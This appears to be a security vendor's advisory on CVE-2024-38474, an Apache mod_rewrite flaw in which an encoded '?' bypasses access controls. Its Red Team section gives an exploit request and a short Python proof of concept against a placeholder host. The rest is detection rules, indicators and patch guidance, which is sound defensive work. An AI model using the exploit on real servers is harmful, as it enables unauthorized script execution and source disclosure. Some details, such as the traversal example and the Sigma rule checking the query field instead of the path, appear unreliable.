CVE-2024-38474

Executive Summary

CVE-2024-38474 is a substitution encoding vulnerability in the mod_rewrite module of Apache HTTP Server versions 2.4.59 and earlier. The flaw allows an attacker to bypass URL-based access controls and execute scripts in directories that are permitted by configuration but not directly reachable by any URL. Additionally, it can lead to source disclosure of scripts intended only to be executed as CGI. The vulnerability arises from improper handling of encoded characters (specifically %3F which decodes to ?) during rewrite rule substitution, enabling path traversal and script execution outside intended boundaries.

The official fix in Apache 2.4.60 introduces a new rewrite flag UnsafeAllow3F to explicitly allow the previously dangerous substitution behavior, ensuring backward compatibility while securing default operations.

Supply Chain & Package Security

This vulnerability affects the Apache HTTP Server, a core component of the LAMP/LEMP stack. Organizations using Apache as a reverse proxy, load balancer, or web server are at risk. The supply chain impact is significant as compromised Apache instances can lead to data breaches, malware distribution, or lateral movement within cloud and on-premise environments. Package managers (e.g., apt, yum, brew) distributing Apache 2.4.59 or earlier must be updated to 2.4.60.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, the vulnerability is assessed as High based on:

• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – requires only crafted HTTP requests.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – exploitation stays within the web server.
• Confidentiality (C): High – source disclosure and script execution.
• Integrity (I): High – arbitrary script execution.
• Availability (A): Low – potential for resource exhaustion via repeated exploitation.

Estimated CVSS Score: 8.6 (High)

Deep Dive & Mechanics

The vulnerability resides in the mod_rewrite module's substitution logic. When a RewriteRule captures a URL path and substitutes it into a new target, the module decodes percent-encoded characters. Specifically, %3F (which decodes to ?) can be injected into the substitution string, allowing an attacker to break out of the intended path and access directories or scripts that should be protected.

Example vulnerable configuration:

RewriteRule ^/app/(.*)$ /internal/$1 [L]

An attacker can request /app/../cgi-bin/script.cgi%3F which, after substitution, becomes /internal/../cgi-bin/script.cgi?. The ? effectively terminates the path, allowing the server to treat the preceding part as a file path and execute the CGI script.

Root Cause: The substitution engine does not re-encode the %3F character after decoding, allowing it to be interpreted as a query string separator. This bypasses directory restrictions and enables execution of scripts in directories not directly accessible via URL.

Vulnerable vs. Patched Code

Vulnerable (Apache 2.4.59 and earlier):

// mod_rewrite.c (simplified)
char *substitute = apr_pstrdup(pool, input);
// No re-encoding of decoded characters
// %3F becomes ? and is passed to the file system

Patched (Apache 2.4.60):

// mod_rewrite.c (simplified)
char *substitute = apr_pstrdup(pool, input);
// Re-encode dangerous characters like ? back to %3F
// unless UnsafeAllow3F flag is set
if (!(rule->flags & RULE_FLAG_UNSAFE_ALLOW_3F)) {
    substitute = reencode_dangerous_chars(substitute);
}

The patch ensures that by default, %3F is re-encoded to prevent query string injection. Administrators can explicitly allow the old behavior using the UnsafeAllow3F flag for specific rules that require it.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Apache HTTP Server 2.4.59 with mod_rewrite enabled.
• A RewriteRule that captures and substitutes user input.
• A CGI script in a protected directory (e.g., /cgi-bin/).

Exploit Steps:

1. Identify a vulnerable RewriteRule, e.g., RewriteRule ^/app/(.*)$ /internal/$1 [L].
2. Craft a request to access a CGI script in a protected directory:

   GET /app/../cgi-bin/script.cgi%3F HTTP/1.1
   Host: target.com
   

3. The server substitutes the path to /internal/../cgi-bin/script.cgi?, which resolves to /cgi-bin/script.cgi?.
4. The CGI script executes, potentially revealing sensitive information or allowing command injection.

Proof of Concept (Python):

import requests

target = "http://target.com"
payload = "/app/../cgi-bin/status.cgi%3F"
response = requests.get(target + payload)
print(response.text)

Blue Team

Detection:

• Monitor for requests containing %3F in URL paths, especially after RewriteRule patterns.
• Look for unusual access to CGI scripts or directories that should be restricted.
• Analyze server logs for 200 responses to paths that should return 403/404.

Hunting:

• Search for RewriteRules that use (.*) or (.+) captures without proper validation.
• Check for the presence of UnsafeAllow3F flag in Apache configuration files.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing %3F in the path segment, e.g., /app/../cgi-bin/script.cgi%3F.
• Log Entries: Apache access logs showing 200 status codes for paths that should be restricted.
• File System: Unexpected CGI script execution or source code disclosure in error logs.
• Network: Outbound connections from the web server to external hosts (if CGI scripts are exploited for RCE).

Detection Engineering

YARA Rule

rule CVE_2024_38474_Apache_mod_rewrite {
    meta:
        description = "Detects exploitation attempts of CVE-2024-38474 in Apache HTTP Server logs"
        author = "Valters IT"
        date = "2024-07-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-38474"
    strings:
        $pattern1 = /%3F/i
        $pattern2 = /\.\.\//i
        $pattern3 = /cgi-bin/i
    condition:
        any of ($pattern*) and #pattern1 > 0
}

Sigma Rule

title: CVE-2024-38474 Apache mod_rewrite Substitution Encoding Exploit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests exploiting CVE-2024-38474 via %3F in URL path
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: '%3F'
    condition: selection
falsepositives:
    - Legitimate use of %3F in query strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-38474 Apache mod_rewrite Substitution Encoding Exploit"; flow:to_server,established; content:"%3F"; http_uri; pcre:"/\.\.\/.*%3F/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Apache HTTP Server to version 2.4.60 or later.
2. If immediate upgrade is not possible, review all RewriteRules and ensure they do not capture user input without proper validation.
3. Disable mod_rewrite if not required.

Long-term Measures:

• Implement Web Application Firewall (WAF) rules to block requests containing %3F in URL paths.
• Conduct regular security audits of Apache configurations.
• Monitor for the UnsafeAllow3F flag in configuration files and ensure it is only used when absolutely necessary.

Patch Verification:

httpd -v | grep "Apache/2.4.60"

Valters IT – Securing digital infrastructure through proactive threat intelligence.